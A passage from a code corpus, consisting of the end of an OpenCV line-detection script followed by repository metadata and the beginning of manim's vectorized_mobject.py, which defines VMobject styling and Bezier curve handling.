if count == 180: return # if ret and count % 2 != 1: # continue sf = 4 h, w, c = img.shape img = cv2.resize(img, (int(h / sf), int(w / sf))) # hsv_img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV) mask = cv2.inRange( img, lowerb=np.array([150, 150, 150]), upperb=np.array([255, 255, 255]) ) # show(mask) mask = cv2.GaussianBlur(mask, ksize=(5, 5), sigmaX=2) edges = cv2.Canny(mask, threshold1=10, threshold2=30) edges = morph_close(edges, num_iter=1) edges = np.divide(edges, 255).astype(np.uint8) # show(edges) mid_line = get_middle_line(edges) ps = np.argwhere(mid_line == 1) for (x, y) in ps: cv2.circle(img, (y, x), 1, (0, 255, 0), thickness=-1) cv2.imshow("out", img) cv2.waitKey(1) continue # play b = img[:, :, 0] g = img[:, :, 1] r = img[:, :, 2] img = np.dstack((r, g, b)) if __plot is None: __plot = plt.imshow(img) else: __plot.set_data(img) plt.pause(1 / fps) plt.draw() def with_hough(img, edges): lines = cv2.HoughLines(edges, rho=1, theta=np.pi / 180.0, threshold=70) thr = 30.0 for i, line in enumerate(lines): rho, theta = line[0] if (thr / 180) * np.pi < theta < ((180.0 - thr) / 180) * np.pi: print(f"[{i}]SKIP theta: {theta * 180.0 / np.pi}") continue print(f"[{i}]OK theta: {theta * 180.0 / np.pi}") a = np.cos(theta) b = np.sin(theta) x0 = a * rho y0 = b * rho x1 = int(x0 + 1000 * (-b)) y1 = int(y0 + 1000 * (a)) x2 = int(x0 - 1000 * (-b)) y2 = int(y0 - 1000 * (a)) cv2.line(img, (x1, y1), (x2, y2), (0, 255, 0), 2) save_or_show(img, suffix="-hough") def on_image(img=None): img = open_img(args.file, gray=False) h, w, c = img.shape sf = 6.3 # scale factor: scale original image to 640x480 img = cv2.resize(img, (int(h / sf), int(w / sf))) # hsv_img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV) mask = cv2.inRange( img, lowerb=np.array([150, 150, 150]), upperb=np.array([255, 255, 255]) ) # show(mask) mask = cv2.GaussianBlur(mask, ksize=(5, 5), sigmaX=2) edges = cv2.Canny(mask, threshold1=80, threshold2=120) edges = morph_close(edges, num_iter=1) # show(edges); return if True: with_hough(img, edges) return edges = np.divide(edges, 255).astype(np.uint8) # show(edges) mid_line = get_middle_line(edges) ps = np.argwhere(mid_line == 1) for (x, y) in ps: cv2.circle(img, (y, x), 1, (0, 255, 0), thickness=-1) # show(img, from_bgr=True) save_or_show(img) def main(): if "jpg" in args.file: on_image() elif "mp4" in args.file: on_video() if __name__ == "__main__": main()

25.706897

84

0.55332

1263b71e4c6e9d66cb7718d4a83edf2c14d02232

67,738

py

Python

manim/mobject/types/vectorized_mobject.py

janLuke/manim

18bab2075f7c9987cbba7b173c3b02971b78a560

[ "MIT" ]

1

2021-07-03T14:18:38.000Z

manim/mobject/types/vectorized_mobject.py

janLuke/manim

18bab2075f7c9987cbba7b173c3b02971b78a560

[ "MIT" ]

3

2020-07-14T02:46:11.000Z

2020-09-09T15:15:55.000Z

manim/mobject/types/vectorized_mobject.py

janLuke/manim

18bab2075f7c9987cbba7b173c3b02971b78a560

[ "MIT" ]

null

"""Mobjects that use vector graphics.""" __all__ = [ "VMobject", "VGroup", "VDict", "VectorizedPoint", "CurvesAsSubmobjects", "DashedVMobject", ] import itertools as it import sys import typing from abc import ABCMeta from typing import Optional, Sequence, Union import colour import numpy as np from PIL.Image import Image from ... import config from ...constants import * from ...mobject.mobject import Mobject from ...mobject.three_d_utils import get_3d_vmob_gradient_start_and_end_points from ...utils.bezier import ( bezier, get_smooth_handle_points, integer_interpolate, interpolate, partial_bezier_points, ) from ...utils.color import BLACK, WHITE, color_to_rgba from ...utils.iterables import make_even, stretch_array_to_length, tuplify from ...utils.simple_functions import clip_in_place from ...utils.space_ops import rotate_vector, shoelace_direction from .opengl_vectorized_mobject import OpenGLVMobject # TODO # - Change cubic curve groups to have 4 points instead of 3 # - Change sub_path idea accordingly # - No more mark_paths_closed, instead have the camera test # if last point in close to first point # - Think about length of self.points. Always 0 or 1 mod 4? # That's kind of weird. class MetaVMobject(ABCMeta): """Metaclass for initializing corresponding classes as either inheriting from VMobject or OpenGLVMobject, depending on the value of ``config.renderer`` at initialization time. Note that with this implementation, changing the value of ``config.renderer`` after Manim has been imported won't have the desired effect and will lead to spurious errors. """ def __new__(cls, name, bases, namespace): if len(bases) == 0: if config.renderer == "opengl": bases = (OpenGLVMobject,) else: bases = (VMobject,) return super().__new__(cls, name, bases, namespace) class VMobject(Mobject): def __init__( self, fill_color=None, fill_opacity=0.0, stroke_color=None, stroke_opacity=1.0, stroke_width=DEFAULT_STROKE_WIDTH, # The purpose of background stroke is to have # something that won't overlap the fill, e.g. # For text against some textured background background_stroke_color=BLACK, background_stroke_opacity=1.0, background_stroke_width=0, # When a color c is set, there will be a second color # computed based on interpolating c to WHITE by with # sheen_factor, and the display will gradient to this # secondary color in the direction of sheen_direction. sheen_factor=0.0, sheen_direction=UL, # Indicates that it will not be displayed, but # that it should count in parent mobject's path close_new_points=False, pre_function_handle_to_anchor_scale_factor=0.01, make_smooth_after_applying_functions=False, background_image=None, shade_in_3d=False, # This is within a pixel # TODO, do we care about accounting for # varying zoom levels? tolerance_for_point_equality=1e-6, n_points_per_cubic_curve=4, **kwargs, ): self.fill_color = fill_color self.fill_opacity = fill_opacity self.stroke_color = stroke_color self.stroke_opacity = stroke_opacity self.stroke_width = stroke_width self.background_stroke_color = background_stroke_color self.background_stroke_opacity = background_stroke_opacity self.background_stroke_width = background_stroke_width self.sheen_factor = sheen_factor self.sheen_direction = sheen_direction self.close_new_points = close_new_points self.pre_function_handle_to_anchor_scale_factor = ( pre_function_handle_to_anchor_scale_factor ) self.make_smooth_after_applying_functions = make_smooth_after_applying_functions self.background_image = background_image self.shade_in_3d = shade_in_3d self.tolerance_for_point_equality = tolerance_for_point_equality self.n_points_per_cubic_curve = n_points_per_cubic_curve Mobject.__init__(self, **kwargs) def get_group_class(self): return VGroup # Colors def init_colors(self, propagate_colors=True): self.set_fill( color=self.fill_color or self.color, opacity=self.fill_opacity, family=propagate_colors, ) self.set_stroke( color=self.stroke_color or self.color, width=self.stroke_width, opacity=self.stroke_opacity, family=propagate_colors, ) self.set_background_stroke( color=self.background_stroke_color, width=self.background_stroke_width, opacity=self.background_stroke_opacity, family=propagate_colors, ) self.set_sheen( factor=self.sheen_factor, direction=self.sheen_direction, family=propagate_colors, ) if not propagate_colors: for submobject in self.submobjects: submobject.init_colors(propagate_colors=False) return self def generate_rgbas_array(self, color, opacity): """ First arg can be either a color, or a tuple/list of colors. Likewise, opacity can either be a float, or a tuple of floats. If self.sheen_factor is not zero, and only one color was passed in, a second slightly light color will automatically be added for the gradient """ colors = list(tuplify(color)) opacities = list(tuplify(opacity)) rgbas = np.array( [color_to_rgba(c, o) for c, o in zip(*make_even(colors, opacities))] ) sheen_factor = self.get_sheen_factor() if sheen_factor != 0 and len(rgbas) == 1: light_rgbas = np.array(rgbas) light_rgbas[:, :3] += sheen_factor clip_in_place(light_rgbas, 0, 1) rgbas = np.append(rgbas, light_rgbas, axis=0) return rgbas def update_rgbas_array(self, array_name, color=None, opacity=None): passed_color = color if (color is not None) else BLACK passed_opacity = opacity if (opacity is not None) else 0 rgbas = self.generate_rgbas_array(passed_color, passed_opacity) if not hasattr(self, array_name): setattr(self, array_name, rgbas) return self # Match up current rgbas array with the newly calculated # one. 99% of the time they'll be the same. curr_rgbas = getattr(self, array_name) if len(curr_rgbas) < len(rgbas): curr_rgbas = stretch_array_to_length(curr_rgbas, len(rgbas)) setattr(self, array_name, curr_rgbas) elif len(rgbas) < len(curr_rgbas): rgbas = stretch_array_to_length(rgbas, len(curr_rgbas)) # Only update rgb if color was not None, and only # update alpha channel if opacity was passed in if color is not None: curr_rgbas[:, :3] = rgbas[:, :3] if opacity is not None: curr_rgbas[:, 3] = rgbas[:, 3] return self def set_fill(self, color=None, opacity=None, family=True): if family: for submobject in self.submobjects: submobject.set_fill(color, opacity, family) self.update_rgbas_array("fill_rgbas", color, opacity) if opacity is not None: self.fill_opacity = opacity return self def set_stroke( self, color=None, width=None, opacity=None, background=False, family=True ): if family: for submobject in self.submobjects: submobject.set_stroke(color, width, opacity, background, family) if background: array_name = "background_stroke_rgbas" width_name = "background_stroke_width" opacity_name = "background_stroke_opacity" color_name = "background_stroke_color" else: array_name = "stroke_rgbas" width_name = "stroke_width" opacity_name = "stroke_opacity" color_name = "stroke_color" self.update_rgbas_array(array_name, color, opacity) if width is not None: setattr(self, width_name, width) if opacity is not None: setattr(self, opacity_name, opacity) if color is not None: setattr(self, color_name, color) return self def set_background_stroke(self, **kwargs): kwargs["background"] = True self.set_stroke(**kwargs) return self def set_style( self, fill_color=None, fill_opacity=None, stroke_color=None, stroke_width=None, stroke_opacity=None, background_stroke_color=None, background_stroke_width=None, background_stroke_opacity=None, sheen_factor=None, sheen_direction=None, background_image=None, family=True, ): self.set_fill(color=fill_color, opacity=fill_opacity, family=family) self.set_stroke( color=stroke_color, width=stroke_width, opacity=stroke_opacity, family=family, ) self.set_background_stroke( color=background_stroke_color, width=background_stroke_width, opacity=background_stroke_opacity, family=family, ) if sheen_factor: self.set_sheen( factor=sheen_factor, direction=sheen_direction, family=family ) if background_image: self.color_using_background_image(background_image) return self def get_style(self, simple=False): ret = { "stroke_opacity": self.get_stroke_opacity(), "stroke_width": self.get_stroke_width(), } if simple: ret["fill_color"] = colour.rgb2hex(self.get_fill_color().get_rgb()) ret["fill_opacity"] = self.get_fill_opacity() ret["stroke_color"] = colour.rgb2hex(self.get_stroke_color().get_rgb()) else: ret["fill_color"] = self.get_fill_colors() ret["fill_opacity"] = self.get_fill_opacities() ret["stroke_color"] = self.get_stroke_colors() ret["background_stroke_color"] = self.get_stroke_colors(background=True) ret["background_stroke_width"] = self.get_stroke_width(background=True) ret["background_stroke_opacity"] = self.get_stroke_opacity(background=True) ret["sheen_factor"] = self.get_sheen_factor() ret["sheen_direction"] = self.get_sheen_direction() ret["background_image"] = self.get_background_image() return ret def match_style(self, vmobject, family=True): self.set_style(**vmobject.get_style(), family=False) if family: # Does its best to match up submobject lists, and # match styles accordingly submobs1, submobs2 = self.submobjects, vmobject.submobjects if len(submobs1) == 0: return self elif len(submobs2) == 0: submobs2 = [vmobject] for sm1, sm2 in zip(*make_even(submobs1, submobs2)): sm1.match_style(sm2) return self def set_color(self, color, family=True): self.set_fill(color, family=family) self.set_stroke(color, family=family) # check if a list of colors is passed to color if isinstance(color, str): self.color = colour.Color(color) else: self.color = color return self def set_opacity(self, opacity, family=True): self.set_fill(opacity=opacity, family=family) self.set_stroke(opacity=opacity, family=family) self.set_stroke(opacity=opacity, family=family, background=True) return self def fade(self, darkness=0.5, family=True): factor = 1.0 - darkness self.set_fill(opacity=factor * self.get_fill_opacity(), family=False) self.set_stroke(opacity=factor * self.get_stroke_opacity(), family=False) self.set_background_stroke( opacity=factor * self.get_stroke_opacity(background=True), family=False ) super().fade(darkness, family) return self def get_fill_rgbas(self): try: return self.fill_rgbas except AttributeError: return np.zeros((1, 4)) def get_fill_color(self): """ If there are multiple colors (for gradient) this returns the first one """ return self.get_fill_colors()[0] def get_fill_opacity(self): """ If there are multiple opacities, this returns the first """ return self.get_fill_opacities()[0] def get_fill_colors(self): return [colour.Color(rgb=rgba[:3]) for rgba in self.get_fill_rgbas()] def get_fill_opacities(self): return self.get_fill_rgbas()[:, 3] def get_stroke_rgbas(self, background=False): try: if background: rgbas = self.background_stroke_rgbas else: rgbas = self.stroke_rgbas return rgbas except AttributeError: return np.zeros((1, 4)) def get_stroke_color(self, background=False): return self.get_stroke_colors(background)[0] def get_stroke_width(self, background=False): if background: width = self.background_stroke_width else: width = self.stroke_width if isinstance(width, str): width = int(width) return max(0, width) def get_stroke_opacity(self, background=False): return self.get_stroke_opacities(background)[0] def get_stroke_colors(self, background=False): return [ colour.Color(rgb=rgba[:3]) for rgba in self.get_stroke_rgbas(background) ] def get_stroke_opacities(self, background=False): return self.get_stroke_rgbas(background)[:, 3] def get_color(self): if np.all(self.get_fill_opacities() == 0): return self.get_stroke_color() return self.get_fill_color() def set_sheen_direction(self, direction, family=True): direction = np.array(direction) if family: for submob in self.get_family(): submob.sheen_direction = direction else: self.sheen_direction = direction return self def set_sheen(self, factor, direction=None, family=True): if family: for submob in self.submobjects: submob.set_sheen(factor, direction, family) self.sheen_factor = factor if direction is not None: # family set to false because recursion will # already be handled above self.set_sheen_direction(direction, family=False) # Reset color to put sheen_factor into effect if factor != 0: self.set_stroke(self.get_stroke_color(), family=family) self.set_fill(self.get_fill_color(), family=family) return self def get_sheen_direction(self): return np.array(self.sheen_direction) def get_sheen_factor(self): return self.sheen_factor def get_gradient_start_and_end_points(self): if self.shade_in_3d: return get_3d_vmob_gradient_start_and_end_points(self) else: direction = self.get_sheen_direction() c = self.get_center() bases = np.array( [self.get_edge_center(vect) - c for vect in [RIGHT, UP, OUT]] ).transpose() offset = np.dot(bases, direction) return (c - offset, c + offset) def color_using_background_image(self, background_image: Union[Image, str]): self.background_image = background_image self.set_color(WHITE) for submob in self.submobjects: submob.color_using_background_image(background_image) return self def get_background_image(self) -> Union[Image, str]: return self.background_image def match_background_image(self, vmobject): self.color_using_background_image(vmobject.get_background_image()) return self def set_shade_in_3d(self, value=True, z_index_as_group=False): for submob in self.get_family(): submob.shade_in_3d = value if z_index_as_group: submob.z_index_group = self return self # Points def set_points(self, points): self.points = np.array(points) return self def get_points(self): return np.array(self.points) def set_anchors_and_handles( self, anchors1: Sequence[float], handles1: Sequence[float], handles2: Sequence[float], anchors2: Sequence[float], ) -> "VMobject": """Given two sets of anchors and handles, process them to set them as anchors and handles of the VMobject. anchors1[i], handles1[i], handles2[i] and anchors2[i] define the i-th bezier curve of the vmobject. There are four hardcoded paramaters and this is a problem as it makes the number of points per cubic curve unchangeable from 4. (two anchors and two handles). Returns ------- VMobject for chaining. """ assert len(anchors1) == len(handles1) == len(handles2) == len(anchors2) nppcc = self.n_points_per_cubic_curve # 4 total_len = nppcc * len(anchors1) self.points = np.zeros((total_len, self.dim)) # the following will, from the four sets, dispatch them in points such that self.points = [anchors1[0], handles1[0], handles2[0], anchors1[0], anchors1[1], handles1[1], ...] arrays = [anchors1, handles1, handles2, anchors2] for index, array in enumerate(arrays): self.points[index::nppcc] = array return self def clear_points(self): self.points = np.zeros((0, self.dim)) def append_points(self, new_points): # TODO, check that number new points is a multiple of 4? # or else that if len(self.points) % 4 == 1, then # len(new_points) % 4 == 3? self.points = np.append(self.points, new_points, axis=0) return self def start_new_path(self, point): # TODO, make sure that len(self.points) % 4 == 0? self.append_points([point]) return self def add_cubic_bezier_curve( self, anchor1: np.ndarray, handle1: np.ndarray, handle2: np.ndarray, anchor2 ) -> None: # TODO, check the len(self.points) % 4 == 0? self.append_points([anchor1, handle1, handle2, anchor2]) def add_cubic_bezier_curve_to( self, handle1: np.ndarray, handle2: np.ndarray, anchor: np.ndarray ) -> None: """Add cubic bezier curve to the path. NOTE : the first anchor is not a paramater as by default the end of the last sub-path! Parameters ---------- handle1 : np.ndarray first handle handle2 : np.ndarray second handle anchor : np.ndarray anchor """ self.throw_error_if_no_points() new_points = [handle1, handle2, anchor] if self.has_new_path_started(): self.append_points(new_points) else: self.append_points([self.get_last_point()] + new_points) def add_quadratic_bezier_curve_to( self, handle: np.ndarray, anchor: np.ndarray ) -> "VMobject": """Add Quadratic bezier curve to the path.""" # How does one approximate a quadratic with a cubic? # refer to the Wikipedia page on Bezier curves # https://en.wikipedia.org/wiki/B%C3%A9zier_curve#Degree_elevation, accessed Jan 20, 2021 # 1. Copy the end points, and then # 2. Place the 2 middle control points 2/3 along the line segments # from the end points to the quadratic curve's middle control point. # I think that's beautiful. self.add_cubic_bezier_curve_to( 2 / 3 * handle + 1 / 3 * self.get_last_point(), 2 / 3 * handle + 1 / 3 * anchor, anchor, ) return self def add_line_to(self, point: np.ndarray) -> "VMobject": """Add a straight line from the last point of VMobject to the given point. Parameters ---------- point : np.ndarray end of the straight line. """ nppcc = self.n_points_per_cubic_curve self.add_cubic_bezier_curve_to( *[ interpolate(self.get_last_point(), point, a) for a in np.linspace(0, 1, nppcc)[1:] ] ) return self def add_smooth_curve_to(self, *points: np.array) -> "VMobject": """Creates a smooth curve from given points and add it to the VMobject. If two points are passed in, the first is interpreted as a handle, the second as an anchor. Parameters ---------- points: np.array Points (anchor and handle, or just anchor) to add a smooth curve from Returns ------- VMobject Raises ------ ValueError If 0 or more than 2 points are given. """ # TODO remove the value error and just add two parameters with one optional if len(points) == 1: handle2 = None new_anchor = points[0] elif len(points) == 2: handle2, new_anchor = points else: name = sys._getframe(0).f_code.co_name raise ValueError(f"Only call {name} with 1 or 2 points") if self.has_new_path_started(): self.add_line_to(new_anchor) else: self.throw_error_if_no_points() last_h2, last_a2 = self.points[-2:] last_tangent = last_a2 - last_h2 handle1 = last_a2 + last_tangent if handle2 is None: to_anchor_vect = new_anchor - last_a2 new_tangent = rotate_vector(last_tangent, PI, axis=to_anchor_vect) handle2 = new_anchor - new_tangent self.append_points([last_a2, handle1, handle2, new_anchor]) return self def has_new_path_started(self): nppcc = self.n_points_per_cubic_curve # 4 # A new path starting is defined by a control point which is not part of a bezier subcurve. return len(self.points) % nppcc == 1 def get_last_point(self): return self.points[-1] def is_closed(self): # TODO use consider_points_equals_2d ? return self.consider_points_equals(self.points[0], self.points[-1]) def add_points_as_corners(self, points: np.ndarray) -> "VMobject": for point in points: self.add_line_to(point) return points def set_points_as_corners(self, points: Sequence[float]) -> "VMobject": """Given an array of points, set them as corner of the vmobject. To achieve that, this algorithm sets handles aligned with the anchors such that the resultant bezier curve will be the segment between the two anchors. Parameters ---------- points : Iterable[float] Array of points that will be set as corners. Returns ------- VMobject self. For chaining purposes. """ nppcc = self.n_points_per_cubic_curve points = np.array(points) # This will set the handles aligned with the anchors. # Id est, a bezier curve will be the segment from the two anchors such that the handles belongs to this segment. self.set_anchors_and_handles( *[interpolate(points[:-1], points[1:], a) for a in np.linspace(0, 1, nppcc)] ) return self def set_points_smoothly(self, points): self.set_points_as_corners(points) self.make_smooth() return self def change_anchor_mode(self, mode: str) -> "VMobject": """Changes the anchor mode of the bezier curves. This will modify the handles. There can be only two modes, "jagged", and "smooth". Returns ------- VMobject For chaining purposes. """ assert mode in ["jagged", "smooth"] nppcc = self.n_points_per_cubic_curve for submob in self.family_members_with_points(): subpaths = submob.get_subpaths() submob.clear_points() # A subpath can be composed of several bezier curves. for subpath in subpaths: # This will retrieve the anchors of the subpath, by selecting every n element in the array subpath # The append is needed as the last element is not reached when slicing with numpy. anchors = np.append(subpath[::nppcc], subpath[-1:], 0) if mode == "smooth": h1, h2 = get_smooth_handle_points(anchors) elif mode == "jagged": # The following will make the handles aligned with the anchors, thus making the bezier curve a segment a1 = anchors[:-1] a2 = anchors[1:] h1 = interpolate(a1, a2, 1.0 / 3) h2 = interpolate(a1, a2, 2.0 / 3) new_subpath = np.array(subpath) new_subpath[1::nppcc] = h1 new_subpath[2::nppcc] = h2 submob.append_points(new_subpath) return self def make_smooth(self): return self.change_anchor_mode("smooth") def make_jagged(self): return self.change_anchor_mode("jagged") def add_subpath(self, points: np.ndarray) -> "VMobject": assert len(points) % 4 == 0 self.points = np.append(self.points, points, axis=0) return self def append_vectorized_mobject(self, vectorized_mobject): new_points = list(vectorized_mobject.points) if self.has_new_path_started(): # Remove last point, which is starting # a new path self.points = self.points[:-1] self.append_points(new_points) def apply_function(self, function): factor = self.pre_function_handle_to_anchor_scale_factor self.scale_handle_to_anchor_distances(factor) Mobject.apply_function(self, function) self.scale_handle_to_anchor_distances(1.0 / factor) if self.make_smooth_after_applying_functions: self.make_smooth() return self def scale_handle_to_anchor_distances(self, factor: float) -> "VMobject": """If the distance between a given handle point H and its associated anchor point A is d, then it changes H to be a distances factor*d away from A, but so that the line from A to H doesn't change. This is mostly useful in the context of applying a (differentiable) function, to preserve tangency properties. One would pull all the handles closer to their anchors, apply the function then push them out again. Parameters ---------- factor The factor used for scaling. Returns ------- VMobject For chaining. """ for submob in self.family_members_with_points(): if len(submob.points) < self.n_points_per_cubic_curve: # The case that a bezier quad is not complete (there is no bezier curve as there is not enough control points.) continue a1, h1, h2, a2 = submob.get_anchors_and_handles() a1_to_h1 = h1 - a1 a2_to_h2 = h2 - a2 new_h1 = a1 + factor * a1_to_h1 new_h2 = a2 + factor * a2_to_h2 submob.set_anchors_and_handles(a1, new_h1, new_h2, a2) return self # def consider_points_equals(self, p0, p1): return np.allclose(p0, p1, atol=self.tolerance_for_point_equality) def consider_points_equals_2d(self, p0: np.ndarray, p1: np.ndarray) -> bool: """Determine if two points are close enough to be considered equal. This uses the algorithm from np.isclose(), but expanded here for the 2D point case. NumPy is overkill for such a small question. Parameters ---------- p0 : np.ndarray first point p1 : np.ndarray second point Returns ------- bool whether two points considered close. """ rtol = 1.0e-5 # default from np.isclose() atol = self.tolerance_for_point_equality if abs(p0[0] - p1[0]) > atol + rtol * abs(p1[0]): return False if abs(p0[1] - p1[1]) > atol + rtol * abs(p1[1]): return False return True # Information about line def get_cubic_bezier_tuples_from_points(self, points): return np.array(list(self.gen_cubic_bezier_tuples_from_points(points))) def gen_cubic_bezier_tuples_from_points(self, points: np.ndarray) -> typing.Tuple: """Returns the bezier tuples from an array of points. self.points is a list of the anchors and handles of the bezier curves of the mobject (ie [anchor1, handle1, handle2, anchor2, anchor3 ..]) This algorithm basically retrieve them by taking an element every n, where n is the number of control points of the bezier curve. Parameters ---------- points : np.ndarray Points from which control points will be extracted. Returns ------- typing.Tuple Bezier control points. """ nppcc = self.n_points_per_cubic_curve remainder = len(points) % nppcc points = points[: len(points) - remainder] # Basically take every nppcc element. return (points[i : i + nppcc] for i in range(0, len(points), nppcc)) def get_cubic_bezier_tuples(self): return self.get_cubic_bezier_tuples_from_points(self.get_points()) def _gen_subpaths_from_points( self, points: np.ndarray, filter_func: typing.Callable[[int], bool] ) -> typing.Tuple: """Given an array of points defining the bezier curves of the vmobject, return subpaths formed by these points. Here, Two bezier curves form a path if at least two of their anchors are evaluated True by the relation defined by filter_func. The algorithm every bezier tuple (anchors and handles) in ``self.points`` (by regrouping each n elements, where n is the number of points per cubic curve)), and evaluate the relation between two anchors with filter_func. NOTE : The filter_func takes an int n as paramater, and will evaluate the relation between points[n] and points[n - 1]. This should probably be changed so the function takes two points as paramters. Parameters ---------- points : np.ndarray points defining the bezier curve. filter_func : typing.Callable[int, bool] Filter-func defining the relation. Returns ------- typing.Tuple subpaths formed by the points. """ nppcc = self.n_points_per_cubic_curve filtered = filter(filter_func, range(nppcc, len(points), nppcc)) split_indices = [0] + list(filtered) + [len(points)] return ( points[i1:i2] for i1, i2 in zip(split_indices, split_indices[1:]) if (i2 - i1) >= nppcc ) def get_subpaths_from_points(self, points): return list( self._gen_subpaths_from_points( points, lambda n: not self.consider_points_equals(points[n - 1], points[n]), ) ) def gen_subpaths_from_points_2d(self, points): return self._gen_subpaths_from_points( points, lambda n: not self.consider_points_equals_2d(points[n - 1], points[n]), ) def get_subpaths(self) -> typing.Tuple: """Returns subpaths formed by the curves of the VMobject. We define a subpath between two curve if one of their extreminities are coincidents. Returns ------- typing.Tuple subpaths. """ return self.get_subpaths_from_points(self.get_points()) def get_nth_curve_points(self, n: int) -> np.ndarray: """Returns the points defining the nth curve of the vmobject. Parameters ---------- n : int index of the desired bezier curve. Returns ------- np.ndarray points defininf the nth bezier curve (anchors, handles) """ assert n < self.get_num_curves() nppcc = self.n_points_per_cubic_curve return self.points[nppcc * n : nppcc * (n + 1)] def get_nth_curve_function(self, n: int) -> typing.Callable[[float], np.ndarray]: """Returns the expression of the nth curve. Parameters ---------- n : int index of the desired curve. Returns ------- typing.Callable[float] expression of the nth bezier curve. """ return bezier(self.get_nth_curve_points(n)) def get_nth_curve_function_with_length( self, n: int, sample_points: Optional[int] = None ) -> typing.Tuple[typing.Callable[[float], np.ndarray], float]: """Returns the expression of the nth curve along with its (approximate) length. Parameters ---------- n The index of the desired curve. sample_points The number of points to sample to find the length. Returns ------- curve : typing.Callable[[float], np.ndarray] The function for the nth curve. length : :class:`float` The length of the nth curve. """ if sample_points is None: sample_points = 10 curve = self.get_nth_curve_function(n) points = np.array([curve(a) for a in np.linspace(0, 1, sample_points)]) diffs = points[1:] - points[:-1] norms = np.apply_along_axis(np.linalg.norm, 1, diffs) length = np.sum(norms) return curve, length def get_num_curves(self) -> int: """Returns the number of curves of the vmobject. Returns ------- int number of curves. of the vmobject. """ nppcc = self.n_points_per_cubic_curve return len(self.points) // nppcc def get_curve_functions( self, ) -> typing.Iterable[typing.Callable[[float], np.ndarray]]: """Gets the functions for the curves of the mobject. Returns ------- typing.Iterable[typing.Callable[[float], np.ndarray]] The functions for the curves. """ num_curves = self.get_num_curves() for n in range(num_curves): yield self.get_nth_curve_function(n) def get_curve_functions_with_lengths( self, **kwargs ) -> typing.Iterable[typing.Tuple[typing.Callable[[float], np.ndarray], float]]: """Gets the functions and lengths of the curves for the mobject. Parameters ---------- **kwargs The keyword arguments passed to :meth:`get_nth_curve_function_with_length` Returns ------- typing.Iterable[typing.Tuple[typing.Callable[[float], np.ndarray], float]] The functions and lengths of the curves. """ num_curves = self.get_num_curves() for n in range(num_curves): yield self.get_nth_curve_function_with_length(n, **kwargs) def point_from_proportion(self, alpha: float) -> np.ndarray: """Gets the point at a proportion along the path of the :class:`VMobject`. Parameters ---------- alpha The proportion along the the path of the :class:`VMobject`. Returns ------- :class:`numpy.ndarray` The point on the :class:`VMobject`. Raises ------ :exc:`ValueError` If ``alpha`` is not between 0 and 1. :exc:`Exception` If the :class:`VMobject` has no points. """ if alpha < 0 or alpha > 1: raise ValueError(f"Alpha {alpha} not between 0 and 1.") self.throw_error_if_no_points() if alpha == 1: return self.get_points()[-1] curves_and_lengths = tuple(self.get_curve_functions_with_lengths()) target_length = alpha * np.sum(length for _, length in curves_and_lengths) current_length = 0 for curve, length in curves_and_lengths: if current_length + length >= target_length: if length != 0: residue = (target_length - current_length) / length else: residue = 0 return curve(residue) current_length += length def get_anchors_and_handles(self) -> typing.Iterable[np.ndarray]: """Returns anchors1, handles1, handles2, anchors2, where (anchors1[i], handles1[i], handles2[i], anchors2[i]) will be four points defining a cubic bezier curve for any i in range(0, len(anchors1)) Returns ------- typing.Iterable[np.ndarray] Iterable of the anchors and handles. """ nppcc = self.n_points_per_cubic_curve return [self.points[i::nppcc] for i in range(nppcc)] def get_start_anchors(self) -> np.ndarray: """Returns the start anchors of the bezier curves. Returns ------- np.ndarray Starting anchors """ return self.points[0 :: self.n_points_per_cubic_curve] def get_end_anchors(self) -> np.ndarray: """Return the starting anchors of the bezier curves. Returns ------- np.ndarray Starting anchors """ nppcc = self.n_points_per_cubic_curve return self.points[nppcc - 1 :: nppcc] def get_anchors(self) -> np.ndarray: """Returns the anchors of the curves forming the VMobject. Returns ------- np.ndarray The anchors. """ if self.points.shape[0] == 1: return self.points return np.array( list(it.chain(*zip(self.get_start_anchors(), self.get_end_anchors()))) ) def get_points_defining_boundary(self): # Probably returns all anchors, but this is weird regarding the name of the method. return np.array(list(it.chain(*[sm.get_anchors() for sm in self.get_family()]))) def get_arc_length(self, sample_points_per_curve: Optional[int] = None) -> float: """Return the approximated length of the whole curve. Parameters ---------- sample_points_per_curve Number of sample points per curve used to approximate the length. More points result in a better approximation. Returns ------- float The length of the :class:`VMobject`. """ return np.sum( length for _, length in self.get_curve_functions_with_lengths( sample_points=sample_points_per_curve ) ) # Alignment def align_points(self, vmobject): # This probably makes the current vmobject and the given one have the same number of points, # by adding extra points to the last sub-path. This method is never used in the whole library. self.align_rgbas(vmobject) if self.get_num_points() == vmobject.get_num_points(): return for mob in self, vmobject: # If there are no points, add one to # wherever the "center" is if mob.has_no_points(): mob.start_new_path(mob.get_center()) # If there's only one point, turn it into # a null curve if mob.has_new_path_started(): mob.add_line_to(mob.get_last_point()) # Figure out what the subpaths are, and align subpaths1 = self.get_subpaths() subpaths2 = vmobject.get_subpaths() n_subpaths = max(len(subpaths1), len(subpaths2)) # Start building new ones new_path1 = np.zeros((0, self.dim)) new_path2 = np.zeros((0, self.dim)) nppcc = self.n_points_per_cubic_curve def get_nth_subpath(path_list, n): if n >= len(path_list): # Create a null path at the very end return [path_list[-1][-1]] * nppcc return path_list[n] for n in range(n_subpaths): sp1 = get_nth_subpath(subpaths1, n) sp2 = get_nth_subpath(subpaths2, n) diff1 = max(0, (len(sp2) - len(sp1)) // nppcc) diff2 = max(0, (len(sp1) - len(sp2)) // nppcc) sp1 = self.insert_n_curves_to_point_list(diff1, sp1) sp2 = self.insert_n_curves_to_point_list(diff2, sp2) new_path1 = np.append(new_path1, sp1, axis=0) new_path2 = np.append(new_path2, sp2, axis=0) self.set_points(new_path1) vmobject.set_points(new_path2) return self def insert_n_curves(self, n: int) -> "VMobject": """Inserts n curves to the bezier curves of the vmobject. Parameters ---------- n Number of curves to insert. Returns ------- VMobject for chaining. """ new_path_point = None if self.has_new_path_started(): new_path_point = self.get_last_point() new_points = self.insert_n_curves_to_point_list(n, self.get_points()) self.set_points(new_points) if new_path_point is not None: self.append_points([new_path_point]) return self def insert_n_curves_to_point_list(self, n: int, points: np.ndarray) -> np.ndarray: """Given an array of k points defining a bezier curves (anchors and handles), returns points defining exactly k + n bezier curves. Parameters ---------- n : int Number of desired curves. points : np.ndarray Starting points. Returns ------- np.ndarray Points generated. """ if len(points) == 1: nppcc = self.n_points_per_cubic_curve return np.repeat(points, nppcc * n, 0) bezier_quads = self.get_cubic_bezier_tuples_from_points(points) curr_num = len(bezier_quads) target_num = curr_num + n # This is an array with values ranging from 0 # up to curr_num, with repeats such that # it's total length is target_num. For example, # with curr_num = 10, 